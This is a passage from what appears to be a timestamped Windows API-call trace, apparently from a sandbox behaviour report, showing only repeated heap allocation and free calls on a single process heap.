(in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.265] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.265] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.265] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.265] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.265] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.265] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.265] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.265] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.265] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.265] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.265] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.265] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.265] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.266] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.266] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.266] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.266] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.266] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.266] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.266] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.266] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.266] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.266] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.266] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.266] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.266] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.266] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.266] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.266] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.266] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.266] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.266] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.266] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.266] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.266] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.266] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.266] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.266] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.266] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.266] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.266] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.266] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.266] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.266] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.267] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.267] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.267] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.267] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.267] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.267] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.267] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.267] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.267] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.267] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.267] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.267] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.267] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.267] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.267] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.267] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.267] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.267] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.267] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.267] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.267] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.267] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.267] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.267] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.267] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.267] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.267] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.267] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.267] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.267] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.267] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.267] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.268] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.268] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.268] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.268] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.268] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.268] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.268] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.268] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.268] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.268] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.268] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.268] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.268] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.268] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.268] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.268] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.268] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.268] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.268] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.268] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.268] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.268] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.268] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.268] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.268] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.268] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.268] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.268] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.268] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.268] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.268] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.268] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.269] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.269] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.269] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.269] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.269] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.269] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.269] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.269] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.269] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.269] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.269] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.269] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.269] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.269] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.269] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.269] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.269] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.269] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.269] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.269] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.269] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.269] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.269] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.269] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.269] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.269] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.269] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.269] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.269] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.269] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.269] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.269] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.269] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.270] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.270] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.270] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.270] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.270] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.270] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.270] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.270] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.270] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.270] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.270] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.270] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.270] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.270] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.270] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.270] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.270] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.270] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.270] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.270] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.270] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.270] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.270] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.270] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.270] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.270] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.270] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.270] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.270] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.270] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.270] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.271] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.271] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.271] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.271] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.271] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.271] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.271] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.271] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.271] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.271] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.271] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.271] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.271] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.271] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.271] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.271] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.271] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.271] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.271] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.271] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.271] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.271] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.271] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.271] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.271] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.271] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.271] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.271] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.271] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.271] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.271] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.271] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.272] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.272] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.272] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.272] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.272] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.272] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.272] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.272] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.272] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.272] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.272] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.272] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.272] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.272] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.272] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.272] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.272] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.272] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.272] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.272] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.272] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.272] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.272] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.272] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.272] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.272] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.272] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.272] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.272] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.272] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.272] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.272] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.273] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.273] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.273] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0121.273] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.273] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.273] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.273] RtlAllocateHeap 